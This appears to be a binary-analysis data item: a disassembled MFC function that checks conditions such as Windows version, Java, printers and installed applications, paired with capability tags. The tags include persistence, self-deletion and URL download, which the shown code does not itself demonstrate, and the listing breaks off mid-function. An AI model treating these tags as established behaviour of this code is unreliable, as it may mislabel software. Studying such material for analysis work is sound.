Function at 0x14009c4d0
Capabilities:
Check mutex on windows
Create directory
Create http request
Create process on windows
Create thread
Delete file
Delete registry value
Discover group policy via gpresult
Download url
Get common file path
Get hostname
Get proxy
Move file
Persist via app paths registry key
Query or enumerate registry value
Read data from internet
Receive data
Schedule task via at
Self delete
Set registry value
Terminate thread

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x11d20
call fcn.140113d30
sub rsp, rax
mov qword [rsp + 0x2328], 0xfffffffffffffffe
movaps xmmword [rsp + 0x11d10], xmm6
mov rax, qword [0x1401e61d8]
xor rax, rsp
mov qword [rsp + 0x11d08], rax
movzx edi, r9b
mov r15, r8
mov qword [rsp + 0x60], rdx
mov r13, rcx
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x1f8], rdx
mov qword [rsp + 0x1f0], r8
mov r12, qword [rsp + 0x11d80]
mov qword [rsp + 0x240], r12
mov qword [rsp + reloc.mfc140u.dll_CEnumArray::CEnumArray], r12
mov rsi, qword [rsp + 0x11d88]
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x1e0], rsi
lea rax, [rsp + 0x15c8]
mov qword [rsp + 0x70], rax
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x15c8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.At_the_start_of_CheckConditionAndAdvance
lea rcx, [rsp + 0x2310]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
test r15, r15
je 0x14009c5eb
lea r14, [r15 + 0x220]
mov rdx, r14
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009c605
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
mov rcx, r12
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
mov rcx, rsi
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor eax, eax
jmp 0x14009cd07
lea rax, [rsp + 0x2318]
mov qword [rsp + 0x70], rax
lea rdx, str.CheckConditionAndAdvance_condition:
lea rcx, [rsp + 0xa88]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x2318]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0xa88]
lea rcx, [rsp + 0x2320]
call fcn.140006490
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0xa88]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor sil, sil
lea rdx, str.found
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009c69c
movzx esi, dil
jmp 0x1400acb92
lea rdx, [0x14016c238]
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009c6be
movzx esi, dil
xor sil, 1
jmp 0x1400acb92
lea rdx, str.foundandpushed
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009c798
test dil, dil
jne 0x14009c77a
lea rdx, [r15 + 0x230]
lea rcx, [rsp + reloc.mfc140u.dll_CRichEditCtrl::CRichEditCtrl]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + reloc.mfc140u.dll_CRichEditCtrl::CRichEditCtrl]
call fcn.140042c70
test al, al
je 0x14009c73b
lea rdx, [rsp + reloc.mfc140u.dll_CRichEditCtrl::CRichEditCtrl]
lea rcx, [rsp + 0xe10]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r9d, r9d
mov r8, rax
xor edx, edx
mov rdi, qword [rsp + 0x60]
mov rcx, rdi
call fcn.14005cb10
jmp 0x14009c740
mov rdi, qword [rsp + 0x60]
mov rcx, rdi
call fcn.140072db0
mov rbx, rax
lea rcx, [rsp + reloc.mfc140u.dll_CRichEditCtrl::CRichEditCtrl]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
mov rcx, r12
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
mov rcx, qword [rsp + 0x68]
jmp 0x14009ccfe
xor r8d, r8d
lea rdx, str.pressed
mov rcx, r12
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
setns sil
jmp 0x1400acb92
lea rdx, str.foundanddisabled
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009c84c
test dil, dil
jne 0x14009c82e
lea rdx, [r15 + 0x230]
lea rcx, [rsp + 0x598]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x598]
call fcn.140042c70
test al, al
je 0x14009c811
lea rdx, [rsp + 0x598]
lea rcx, [rsp + 0xe18]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r9d, r9d
mov r8, rax
xor edx, edx
mov rdi, qword [rsp + 0x60]
mov rcx, rdi
call fcn.14005cb10
jmp 0x14009c816
mov rdi, qword [rsp + 0x60]
mov rcx, rdi
call fcn.140072db0
mov rbx, rax
lea rcx, [rsp + 0x598]
jmp 0x14009c753
xor r8d, r8d
lea rdx, str.visible_unavailable
mov rcx, r12
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
setns sil
jmp 0x1400acb92
lea rdx, str.checked
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
xor r8d, r8d
test al, al
je 0x14009c87f
lea rdx, [0x14015b9c8]
mov rcx, r12
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
setns sil
jmp 0x1400acb92
lea rdx, str.checkdesc
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009c95f
xor r8d, r8d
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xe20]
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xe20]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
xor r8d, r8d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
setns sil
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.iswin10
call fcn.14000d8d0
test al, al
je 0x14009c979
call fcn.1400f2fc0
jmp 0x1400acb8f
lea rdx, str.iswin64
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009c998
call fcn.1400f2f00
jmp 0x1400acb8f
lea rdx, str.iswin10or81
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009c9d6
call fcn.1400f2fc0
test al, al
jne 0x14009d7a8
call fcn.1400f3150
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
test al, al
jne 0x14009d7b2
jmp 0x14009cc77
lea rdx, str.iswin81
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009c9f5
call fcn.1400f3150
jmp 0x1400acb8f
lea rdx, str.isJavaInstalled
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009ca66
lea rdx, str.java
lea rcx, [rsp + 0xe28]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
xor r9d, r9d
mov r8b, 1
xor edx, edx
mov rcx, rax
call fcn.1400f8bc0
movzx esi, al
test al, al
jne 0x1400acb92
lea rdx, str.java
lea rcx, [rsp + 0xe30]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
xor r9d, r9d
mov r8b, 1
lea edx, [r9 + 1]
mov rcx, rax
call fcn.1400f8bc0
jmp 0x1400acb8f
lea rdx, str.isjavainstalledjavatesting
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009cab8
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0xdf0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0xdf0]
call fcn.1400ef620
cmp eax, 1
setge sil
lea rcx, [rsp + 0xdf0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.isOSwindow7
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009cb08
lea rcx, [rsp + 0xe00]
call fcn.1400ffd70
nop
lea rdx, [0x14016c33c]
lea rcx, [rsp + 0xe00]
call fcn.14000d8d0
test al, al
setne sil
lea rcx, [rsp + 0xe00]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.isjavaupdateenabled
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009cb27
call fcn.1400f2920
jmp 0x1400acb8f
lea rdx, str.readfnmsanddetectifneedsminorupdate
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009cb74
lea rcx, [rsp + 0x748]
call fcn.1400e5860
nop
lea rdx, str.minor
lea rcx, [rsp + 0x748]
call fcn.14000d8d0
movzx esi, al
lea rcx, [rsp + 0x748]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.detectifgroupavailable
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x14009cb93
call fcn.1400e55f0
jmp 0x1400acb8f
xor r8d, r8d
lea rdx, str.isprinterinstalled
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009cd32
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xe38]
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xe38]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0xe40]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor edx, edx
mov rcx, rax
call fcn.1400f3320
nop
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
lea rdx, [r15 + reloc.mfc140u.dll_CHandleMap::CHandleMap]
lea rcx, [rsp + 0x730]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x730]
call fcn.140042c70
test al, al
je 0x14009cccc
lea rdx, [rsp + 0x730]
lea rcx, [rsp + 0xdf8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r9d, r9d
mov r8, rax
xor edx, edx
mov rcx, rdi
call fcn.14005cb10
nop
lea rcx, [rsp + 0x730]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov rcx, rdi
call fcn.140072db0
mov rbx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
mov rcx, r12
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
mov rcx, r14
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov rax, rbx
mov rcx, qword [rsp + 0x11d08]
xor rcx, rsp
call fcn.140113c40
movaps xmm6, xmmword [rsp + 0x11d10]
add rsp, 0x11d20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
lea rdx, str.isprinterdefault
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009ce2c
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2d8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x2d8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xe48]
lea rcx, [rsp + 0x2d8]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x2d8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xe48]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x750]
call fcn.1400ee8f0
lea rcx, [rsp + 0x2d8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
xor r8d, r8d
lea rcx, [rsp + 0x750]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
sete sil
lea rcx, [rsp + 0x750]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x2d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.makeprinterdefault
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009cefd
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xe50]
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xe50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0xe58]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov dl, 1
mov rcx, rax
call fcn.1400f3320
nop
lea rcx, [rsp + 0x2e0]
jmp 0x14009cc67
lea rdx, str.changePrinterAlignment
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009cf18
call fcn.140109630
jmp 0x1400acb8f
xor r8d, r8d
lea rdx, str.isApplicationInstalled
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009d632
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x150]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
lea rdx, str.exactmatch
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x80]
test eax, eax
js 0x14009cff2
lea rdx, [0x14015ed0c]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xe60]
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xe60]
jmp 0x14009d033
lea rdx, [0x14015e858]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xe68]
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xe68]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, str.syngene_
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009d1b5
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0xe70]
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xe70]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x150]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rdx, [0x140150830]
lea rcx, [rsp + 0x760]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.wmic_product_get_name__Find__
lea rcx, [rsp + 0x758]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x758]
lea rcx, [rsp + 0xe80]
call fcn.140006490
nop
lea r8, [rsp + 0x760]
mov rdx, rax
lea rcx, [rsp + 0xe78]
call fcn.140006490
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x5a0]
call fcn.1400fc5a0
nop
lea rcx, [rsp + 0xe80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x758]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x760]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rcx, [rsp + 0x150]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
xor r8d, r8d
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
nop
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov r14b, 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x150]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rcx, [rsp + reloc.mfc140u.dll_CAnimationBaseObject::CAnimationBaseObject]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, str.exactmatch
lea rcx, [rsp + 0x150]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
test eax, eax
js 0x14009d29c
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x150]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x150]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0xe88]
lea rcx, [rsp + 0x150]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + reloc.mfc140u.dll_CAnimationBaseObject::CAnimationBaseObject]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xe88]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea r8, [0x140150ad0]
lea rdx, [0x14015e858]
lea rcx, [rsp + reloc.mfc140u.dll_CAnimationBaseObject::CAnimationBaseObject]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, str.exactmatch0
lea rcx, [rsp + reloc.mfc140u.dll_CAnimationBaseObject::CAnimationBaseObject]
call fcn.14000d8d0
test al, al
je 0x14009d318
xor r14b, r14b
jmp 0x14009d318
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009d318
lea rdx, [0x140154308]
lea rcx, [rsp + 0x768]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x768]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + reloc.mfc140u.dll_CDHtmlDialog::DDX_DHtml_SelectIndex]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CDHtmlDialog::DDX_DHtml_SelectIndex]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x768]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xe98]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r9d, r9d
movzx r8d, r14b
xor edx, edx
mov rcx, rax
call fcn.1400f8bc0
movzx esi, al
test al, al
jne 0x14009d3a0
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xea0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r9d, r9d
movzx r8d, r14b
lea edx, [r9 + 1]
mov rcx, rax
call fcn.1400f8bc0
movzx esi, al
test al, al
jne 0x14009d3a0
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xea8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov r9b, 1
movzx r8d, r14b
xor edx, edx
mov rcx, rax
call fcn.1400f8bc0
movzx esi, al
xor r8d, r8d
lea rdx, str.version_
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009d601
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0xeb0]
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xeb0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x80]
